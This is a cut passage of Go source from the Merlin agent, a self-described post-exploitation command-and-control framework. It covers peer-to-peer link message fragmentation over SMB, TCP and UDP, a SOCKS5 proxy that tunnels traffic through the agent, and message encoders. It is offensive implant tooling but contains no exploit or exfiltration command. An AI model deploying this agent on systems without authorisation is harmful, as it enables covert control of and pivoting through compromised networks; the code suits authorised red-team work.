float64(p2p.MaxSizeSMB)))\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments\", len(delegate.Payload), p2p.MaxSizeSMB, fragments))\n\t\t\tvar i int\n\t\t\tsize := len(delegate.Payload)\n\t\t\tfor i < fragments {\n\t\t\t\tstart := i * p2p.MaxSizeSMB\n\t\t\t\tvar stop int\n\t\t\t\t// if bytes remaining are less than max size, read until the end\n\t\t\t\tif size < p2p.MaxSizeSMB {\n\t\t\t\t\tstop = len(delegate.Payload)\n\t\t\t\t} else {\n\t\t\t\t\tstop = (i + 1) * p2p.MaxSizeSMB\n\t\t\t\t}\n\t\t\t\tn, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop])\n\t\t\t\tif err != nil {\n\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\\n\", link.Conn().(net.Conn).RemoteAddr(), err))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): Wrote SMB fragment %d of %d\", i+1, fragments))\n\t\t\t\ti++\n\t\t\t\tsize = size - p2p.MaxSizeSMB\n\t\t\t}\n\t\tcase p2p.TCPBIND, p2p.TCPREVERSE:\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): Writing %d bytes to the linked agent %s at %s at %s\\n\", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))\n\t\t\tn, err = link.Conn().(net.Conn).Write(delegate.Payload)\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): Wrote %d bytes to the linked agent %s at %s at %s\\n\", n, delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))\n\t\tcase p2p.UDPBIND, p2p.UDPREVERSE:\n\t\t\t// Needed for space between consecutive delegate messages\n\t\t\tsleep = time.Second * 1\n\t\t\t// Split into fragments of MaxSize\n\t\t\tfragments := int(math.Ceil(float64(len(delegate.Payload)) / float64(p2p.MaxSizeUDP)))\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): UDP data size is: %d, max UDP fragment size is %d, creating %d fragments\", len(delegate.Payload), p2p.MaxSizeUDP, fragments))\n\t\t\tvar i int\n\t\t\tsize := len(delegate.Payload)\n\t\t\tfor i < fragments {\n\t\t\t\tstart := i * p2p.MaxSizeUDP\n\t\t\t\tvar stop int\n\t\t\t\t// if bytes remaining are less than max size, read until the end\n\t\t\t\tif size < p2p.MaxSizeUDP {\n\t\t\t\t\tstop = len(delegate.Payload)\n\t\t\t\t} else {\n\t\t\t\t\tstop = (i + 1) * p2p.MaxSizeUDP\n\t\t\t\t}\n\t\t\t\tswitch link.Type() {\n\t\t\t\tcase p2p.UDPBIND:\n\t\t\t\t\tn, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop])\n\t\t\t\tcase p2p.UDPREVERSE:\n\t\t\t\t\tn, err = link.Conn().(net.PacketConn).WriteTo(delegate.Payload[start:stop], link.Remote())\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\\n\", link.Conn().(net.Conn).RemoteAddr(), err))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): Wrote UDP fragment %d of %d\", i+1, fragments))\n\t\t\t\ti++\n\t\t\t\tsize = size - p2p.MaxSizeUDP\n\t\t\t\t// UDP packets seemed to get dropped if too many are sent too fast\n\t\t\t\tif fragments > 100 {\n\t\t\t\t\ttime.Sleep(time.Millisecond * 10)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): unhandled Agent type: %d\", link.Type()))\n\t\t\tbreak\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif errors.Is(err, syscall.EPIPE) {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): the linked agent %s has closed the connection\", link.Conn().(net.Conn).RemoteAddr()))\n\t\t\t} else if errors.Is(err, syscall.ECONNRESET) {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): the linked agent %s has reset the connection\", link.Conn().(net.Conn).RemoteAddr()))\n\t\t\t} else if errors.Is(err, io.EOF) {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): the linked agent %s has closed the connection\", link.Conn().(net.Conn).RemoteAddr()))\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\\n\", link.Conn().(net.Conn).RemoteAddr(), err))\n\t\t\t}\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"services/p2p.Handle(): removing the linked agent %s at %s from the repository\", link.ID(), link.Conn().(net.Conn).RemoteAddr()))\n\t\t\tlink.Unlock()\n\t\t\ts.Delete(link.ID())\n\t\t\tbreak\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Wrote %d bytes to the linked agent %s at %s at %s\\n\", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))\n\t\t// Without a delay, synchronous connections can send multiple messages so fast that receiver thinks it is one message\n\t\t// TODO Fix this so that way an artificial sleep is not needed\n\t\t// Sent about 25 UDP IDLE messages in 1 second and caused the agent to receive them out of order\n\t\ttime.Sleep(sleep)\n\t\tlink.Unlock()\n\t}\n}\n\n// List returns a numbered list of peer-to-peer Links that exist each seperated by a new line\nfunc (s *Service) List() (list string) {\n\tagents := s.repo.GetAll()\n\tlist = fmt.Sprintf(\"Peer-to-Peer Links (%d)\\n\", len(agents))\n\tfor i, agent := range agents {\n\t\tlist += fmt.Sprintf(\"%d. %s:%s:%s\\n\", i, agent.String(), agent.ID(), agent.Remote())\n\t}\n\treturn\n}\n\n// Refresh sends an empty delegate message to the server for each peer-to-peer Link in the repository to update the server\n// with this Agent's links\nfunc (s *Service) Refresh() (list string) {\n\tlinks := s.repo.GetAll()\n\tfor _, link := range links {\n\t\ts.AddDelegate(messages.Delegate{\n\t\t\tAgent:    link.ID(),\n\t\t\tListener: link.Listener(),\n\t\t})\n\t}\n\treturn fmt.Sprintf(\"Created upstream delegate messages for:\\n%s\", s.List())\n}\n\n// Remove closes the peer-to-peer Link's network connection and deletes the peer-to-peer Link from the repository\nfunc (s *Service) Remove(id uuid.UUID) error {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Remove(): entering into function with id: %s\", id))\n\tlink, err := s.GetLink(id)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"services/p2p.Remove(): %s\", err)\n\t}\n\n\tswitch link.Type() {\n\tcase p2p.TCPBIND, p2p.UDPBIND, p2p.SMBBIND:\n\t\t// Close the connection\n\t\terr = link.Conn().(net.Conn).Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"services/p2p.Remove(): there was an error closing the connection for link %s: %s\", link.ID(), err)\n\t\t}\n\tdefault:\n\t\treturn fmt.Errorf(\"services/p2p.Remove() unhandled peer-to-peer link type %d\", link.Type())\n\t}\n\ts.repo.Delete(id)\n\treturn nil\n}\n\n// UpdateConnection updates the peer-to-peer Link's network connection with the provided conn\nfunc (s *Service) UpdateConnection(id uuid.UUID, conn interface{}, remote net.Addr) error {\n\treturn s.repo.UpdateConn(id, conn, remote)\n}\n"
  },
  {
    "path": "services/services.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package services holds the services used to interact with different objects and Agent capabilities\npackage services\n"
  },
  {
    "path": "socks/socks.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package socks handles SOCKS5 messages from the server\npackage socks\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"fmt\"\n\t\"net\"\n\t\"sync\"\n\n\t// 3rd Party\n\t\"github.com/armon/go-socks5\"\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\nvar server *socks5.Server\nvar connections = sync.Map{}\nvar done = sync.Map{}\n\n// Handler is the entry point for SOCKS connections.\n// This function starts a SOCKS server and processes incoming SOCKS connections\nfunc Handler(msg jobs.Job, jobsOut *chan jobs.Job) {\n\t//fmt.Printf(\"socks.Handler(): Received SOCKS job ID: %s, Index: %d, Close: %t, Data Length: %d\\n\", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data))\n\t//defer fmt.Printf(\"\\tsocks.Handler(): Exiting ID: %s, Index: %d, Close: %t, Data Length: %d\\n\", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data))\n\tjob := msg.Payload.(jobs.Socks)\n\n\t// See if the SOCKS server has already been created\n\tif server == nil {\n\t\terr := newSOCKSServer()\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\t// See if this connection is new\n\t_, ok := connections.Load(job.ID)\n\tif !ok && !job.Close {\n\t\tclient, target := net.Pipe()\n\t\tin := make(chan jobs.Socks, 100)\n\t\tconnection := Connection{\n\t\t\tJob:     msg,\n\t\t\tIn:      client,\n\t\t\tOut:     target,\n\t\t\tJobChan: jobsOut,\n\t\t\tin:      &in,\n\t\t}\n\t\tconnections.Store(job.ID, &connection)\n\t\tdone.Store(job.ID, false)\n\n\t\t// Start the go routine to send read data in and send it to the SOCKS server\n\t\tgo start(job.ID)\n\t\tgo listen(job.ID)\n\t\tgo send(job.ID)\n\t}\n\n\tconn, ok := connections.Load(job.ID)\n\tif !ok {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"connection ID %s was not found\", job.ID))\n\t\treturn\n\t}\n\t*conn.(*Connection).in <- job\n}\n\n// newSOCKSServer is a factory to create and return a global SOCKS5 server instance\nfunc newSOCKSServer() (err error) {\n\tcli.Message(cli.NOTE, \"Starting SOCKS5 server\")\n\t// Create SOCKS5 server\n\tconf := &socks5.Config{}\n\tserver, err = socks5.New(conf)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"there was an error creating a new SOCKS5 server: %s\", err)\n\t}\n\treturn\n}\n\n// start the SOCKS server to serve the connection\nfunc start(id uuid.UUID) {\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Serving new SOCKS connection ID %s\", id))\n\n\tconnection, ok := connections.Load(id)\n\tif !ok {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"connection %s not found\", id))\n\t\treturn\n\t}\n\n\terr := server.ServeConn(connection.(*Connection).In)\n\tif err != nil {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error serving SOCKS connection %s: %s\", id, err))\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Finished serving SOCKS connection ID %s\", id))\n}\n\n// listen continuously for data being returned from the SOCKS server to be sent to the agent\nfunc listen(id uuid.UUID) {\n\t// Listen for data on the agent-side write pipe\n\tconnection, ok := connections.Load(id)\n\tif !ok {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"connection %s not found\", id))\n\t\treturn\n\t}\n\n\tj := connection.(*Connection).Job\n\tjob := jobs.Job{\n\t\tAgentID: j.AgentID,\n\t\tID:      j.ID,\n\t\tToken:   j.Token,\n\t\tType:    jobs.SOCKS,\n\t}\n\n\tvar i int\n\t// Loop 1 - SOCKS client version/method request\n\t// Loop 2 - SOCKS client request\n\t// Loop 3 - Client data\n\n\tfor {\n\t\tdata := make([]byte, 500000)\n\n\t\tn, err := connection.(*Connection).Out.Read(data)\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Read %d bytes from the OUTBOUND pipe with error %s\", n, err))\n\t\t//fmt.Printf(\"[+] Read %d bytes from the OUTBOUND pipe %s with error %s, Data: %x\\n\", n, id, err, data[:n])\n\t\t// Check to see if we closed the connection because we are done with it\n\t\tfin, good := done.Load(id)\n\t\tif !good {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"could not find connection ID %s's done map\", id))\n\t\t}\n\n\t\tif fin.(bool) {\n\t\t\tdone.Delete(id)\n\t\t\treturn\n\t\t}\n\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error reading from the OUTBOUND pipe: %s\", err))\n\t\t\t//fmt.Printf(\"ERROR reading %d bytes for ID: %s, Index: %d, Close: %t, Data Length: %d, Error: %s\\n\", n, id, i, j.Payload.(jobs.Socks).Close, len(j.Payload.(jobs.Socks).Data), err)\n\t\t\treturn\n\t\t}\n\n\t\t// Return data to the client\n\t\tjob.Payload = jobs.Socks{\n\t\t\tID:    id,\n\t\t\tIndex: i,\n\t\t\tData:  data[:n],\n\t\t}\n\t\t*connection.(*Connection).JobChan <- job\n\t\ti++\n\t}\n}\n\n// send continuously sends data to the SOCKS server from the SOCKS client\nfunc send(id uuid.UUID) {\n\tconn, ok := connections.Load(id)\n\tif !ok {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"connection ID %s was not found\", id))\n\t\treturn\n\t}\n\n\tfor {\n\t\t// Get SOCKS job from the channel\n\t\tjob := <-*conn.(*Connection).in\n\n\t\t// Check to ensure the index is correct, if not, return it to the channel to be processed again\n\t\tif conn.(*Connection).Count != job.Index {\n\t\t\t*conn.(*Connection).in <- job\n\t\t\tcontinue\n\t\t}\n\n\t\t// If there is data, write it to the SOCKS server\n\t\t// Send data, if any, before closing the connection\n\t\tif len(job.Data) > 0 {\n\t\t\tconn.(*Connection).Count++\n\t\t\t// Write the received data to the agent side pipe\n\t\t\tvar buff bytes.Buffer\n\t\t\t_, err := buff.Write(job.Data)\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error writing SOCKS data to the buffer: %s\", err))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t//fmt.Printf(\"Writing %d bytes to SOCKS target \\n\", len(job.Data))\n\t\t\tn, err := conn.(*Connection).Out.Write(buff.Bytes())\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error writing data to the SOCKS %s OUTBOUND pipe: %s\", job.ID, err))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Wrote %d bytes to the SOCKS %s OUTBOUND pipe with error %s\", n, job.ID, err))\n\t\t}\n\n\t\t// If the SOCKS client has sent io.EOF to close the connection\n\t\tif job.Close {\n\t\t\t// Mythic is sending two Close messages so the counter needs to increment on close too\n\t\t\tif len(job.Data) <= 0 {\n\t\t\t\tconn.(*Connection).Count++\n\t\t\t}\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Closing SOCKS connection %s\", job.ID))\n\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Closing SOCKS connection %s OUTBOUND pipe\", job.ID))\n\t\t\terr := conn.(*Connection).Out.Close()\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error closing the SOCKS connection %s OUTBOUND pipe: %s\", job.ID, err))\n\t\t\t}\n\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Closing SOCKS connection %s INBOUND pipe\", job.ID))\n\t\t\terr = conn.(*Connection).In.Close()\n\t\t\tif err != nil {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error closing the SOCKS connection %s INBOUND pipe: %s\", job.ID, err))\n\t\t\t}\n\n\t\t\t// Remove the connection from the map\n\t\t\tconnections.Delete(job.ID)\n\t\t\tdone.Store(job.ID, true)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Connection is a structure used to track new SOCKS client connections\ntype Connection struct {\n\tJob     jobs.Job\n\tIn      net.Conn\n\tOut     net.Conn\n\tJobChan *chan jobs.Job   // Channel to send jobs back to the server\n\tin      *chan jobs.Socks // Channel to receive and process SOCKS data locally\n\tCount   int              // Counter to track the number of SOCKS messages sent\n}\n"
  },
  {
    "path": "transformers/encoders/base64/base64.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package base64 encodes/decodes Agent messages\npackage base64\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n)\n\nconst (\n\tBYTE   = 0\n\tSTRING = 1\n)\n\ntype Coder struct {\n\tconcrete int\n}\n\n// NewEncoder is a factory that returns a structure that implements the Transformer interface\nfunc NewEncoder(concrete int) *Coder {\n\treturn &Coder{concrete: concrete}\n}\n\n// Construct takes in data, Base64 encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tswitch c.concrete {\n\tcase BYTE:\n\t\tretData = make([]byte, base64.StdEncoding.EncodedLen(len(data.([]byte))))\n\t\tbase64.StdEncoding.Encode(retData, data.([]byte))\n\tcase STRING:\n\t\tretData = []byte(base64.StdEncoding.EncodeToString(data.([]byte)))\n\t}\n\treturn\n}\n\n// Deconstruct takes in bytes and Base64 decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tswitch c.concrete {\n\tcase BYTE:\n\t\tretData := make([]byte, base64.StdEncoding.DecodedLen(len(data)))\n\t\treturn base64.StdEncoding.Decode(retData, data)\n\tcase STRING:\n\t\treturn base64.StdEncoding.DecodeString(string(data))\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"transformer/encoders/base64.Deconstruct(): unhandled concrete type %d\", c.concrete)\n\t}\n}\n\n// String converts the Gob encode/decode constant to a string\nfunc (c *Coder) String() string {\n\tswitch c.concrete {\n\tcase BYTE:\n\t\treturn \"base64-byte\"\n\tcase STRING:\n\t\treturn \"base64-string\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown base64 transform %d\", c.concrete)\n\t}\n}\n"
  },
  {
    "path": "transformers/encoders/gob/gob.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package gob encodes/decodes Agent messages\npackage gob\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\nconst (\n\tSTRING   = 0\n\tBASE     = 1\n\tDELEGATE = 2\n)\n\ntype Coder struct {\n\tconcrete int\n}\n\n// NewEncoder is a factory that returns a structure that implements the Transformer interface\nfunc NewEncoder(concrete int) *Coder {\n\treturn &Coder{concrete: concrete}\n}\n\n// Construct takes in data, Gob encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) ([]byte, error) {\n\treturn c.Encode(data)\n}\n\n// Deconstruct takes in bytes and Gob decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\treturn c.Decode(data)\n}\n\n// Encode takes in data, Gob encodes it, and returns the encoded data as bytes\n// This function is exported so that it can be called directly outside the Transformer interface\nfunc (c *Coder) Encode(e any) ([]byte, error) {\n\t//fmt.Printf(\"pkg/encoders/gob.Encode(): %T:%+v\\n\", e, e)\n\tencoded := new(bytes.Buffer)\n\n\tswitch c.concrete {\n\tcase BASE:\n\t\tdata := e.(messages.Base)\n\t\terr := gob.NewEncoder(encoded).Encode(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"pkg/encoders/gob.Encode(): error gob encoding messages.Base: %s\", err)\n\t\t}\n\t\treturn encoded.Bytes(), nil\n\tcase STRING:\n\t\tdata := string(e.([]byte))\n\t\terr := gob.NewEncoder(encoded).Encode(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"pkg/encoders/gob.Encode(): error gob encoding string: %s\", err)\n\t\t}\n\t\treturn encoded.Bytes(), nil\n\tcase DELEGATE:\n\t\tdata := e.(messages.Delegate)\n\t\terr := gob.NewEncoder(encoded).Encode(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"pkg/encoders/gob.Encode(): error gob encoding messages.Delegate: %s\", err)\n\t\t}\n\t\treturn encoded.Bytes(), nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"pkg/encoders/gob.Encode(): unhandled concrete type %T\", c.concrete)\n\t}\n}\n\n// Decode takes in bytes and Gob decodes it to its original type\n// This function is exported so that it can be called directly outside the Transformer interface\nfunc (c *Coder) Decode(data []byte) (any, error) {\n\t//fmt.Printf(\"Gob Decode %T concrete: %d\\n\", data, c.concrete)\n\tvar err error\n\tswitch c.concrete {\n\tcase STRING:\n\t\tvar d string\n\t\terr = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)\n\t\treturn d, err\n\tcase BASE:\n\t\tvar d messages.Base\n\t\terr = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)\n\t\treturn d, err\n\tcase DELEGATE:\n\t\tvar d messages.Delegate\n\t\terr = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)\n\t\treturn d, err\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"pkg/gob/encoders.Decode(): unhandled concrete type %d\", c.concrete)\n\t}\n}\n\n// String converts the Gob encode/decode constant to a string\nfunc (c *Coder) String() string {\n\tswitch c.concrete {\n\tcase STRING:\n\t\treturn \"gob-string\"\n\tcase BASE:\n\t\treturn \"gob-base\"\n\tcase DELEGATE:\n\t\treturn \"gob-delegate\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown transform %d\", c.concrete)\n\t}\n}\n"
  },
  {
    "path": "transformers/encoders/hex/hex.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package hex encodes/decodes Agent messages\npackage hex\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n)\n\nconst (\n\tBYTE   = 0\n\tSTRING = 1\n)\n\ntype Coder struct {\n\tconcrete int\n}\n\n// NewEncoder is a factory that returns a structure that implements the Transformer interface\nfunc NewEncoder(concrete int) *Coder {\n\treturn &Coder{concrete: concrete}\n}\n\n// Construct takes in data, hex encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tretData = make([]byte, hex.EncodedLen(len(data.([]byte))))\n\tswitch c.concrete {\n\tcase BYTE:\n\t\thex.Encode(retData, data.([]byte))\n\tcase STRING:\n\t\tretData = []byte(hex.EncodeToString(data.([]byte)))\n\t\t//hex.Encode(retData, []byte(data.(string)))\n\tdefault:\n\t\terr = fmt.Errorf(\"transformer/encoders/hex.Construct(): unhandled concrete type: %d\", c.concrete)\n\t}\n\treturn\n}\n\n// Deconstruct takes in bytes and hex decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tretData := make([]byte, hex.DecodedLen(len(data)))\n\t_, err := hex.Decode(retData, data)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"transformer/encoders/hex.Deconstruct(): there was an error Base64 decoding the incoming data: %s\", err)\n\t}\n\tswitch c.concrete {\n\tcase BYTE:\n\t\treturn retData, nil\n\tcase STRING:\n\t\treturn string(retData), nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"transformer/encoders/hex.Deconstruct(): unhandled concrete type %d\", c.concrete)\n\t}\n}\n\n// String converts the Gob encode/decode constant to a string\nfunc (c *Coder) String() string {\n\tswitch c.concrete {\n\tcase BYTE:\n\t\treturn \"hex-byte\"\n\tcase STRING:\n\t\treturn \"hex-string\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"hex base64 transform %d\", c.concrete)\n\t}\n}\n"
  },
  {
    "path": "transformers/encoders/mythic/mythic.go",
    "content": "//go:build mythic\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package mythic encode/decode Agent messages to/from the Mythic C2 framework\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format\npackage mythic\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n)\n\ntype Coder struct {\n}\n\n// NewEncoder is a factory that returns a structure that implements the Transformer interface\nfunc NewEncoder() *Coder {\n\treturn &Coder{}\n}\n\n// Construct takes in data, prepends the UUID, base64 encodes it, and returns the encoded data as bytes\n// id is the UUID as bytes to prepend to the data\nfunc (c *Coder) Construct(data any, id []byte) ([]byte, error) {\n\t// UUID - This UUID varies based on the phase of the agent (initial checkin, staging, fully staged).\n\t// This is a 36-character long of the format b50a5fe8-099d-4611-a2ac-96d93e6ec77b.\n\t// Optionally, if your agent is dealing with more of a binary-level specification rather than strings, you can use\n\t// a 16-byte big-endian value here for the binary representation of the UUID4 string.\n\t// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format\n\tdata = append(id, data.([]byte)...)\n\n\t// Base64 encode the data\n\tpayload := base64.StdEncoding.EncodeToString(data.([]byte))\n\treturn []byte(payload), nil\n}\n\n// Deconstruct takes in data, base64 decodes it, and returns the decoded data as bytes\n// key is the UUID as bytes to prepend to the data\nfunc (c *Coder) Deconstruct(data, id []byte) (any, error) {\n\t// Base64 decode the data\n\tpayload, err := base64.StdEncoding.DecodeString(string(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Validate the UUID\n\tif string(payload[:36]) != string(id) {\n\t\treturn nil, fmt.Errorf(\"transformers/encoders/mythic/http.Deconstruct(): UUID mismatch have: %s want: %s\", string(payload[:36]), string(id))\n\t}\n\t// Remove the UUID\n\tpayload = payload[36:]\n\treturn payload, nil\n}\n\n// String returns the name of the encoder\nfunc (c *Coder) String() string {\n\treturn \"mythic\"\n}\n"
  },
  {
    "path": "transformers/encrypters/aes/aes.go",
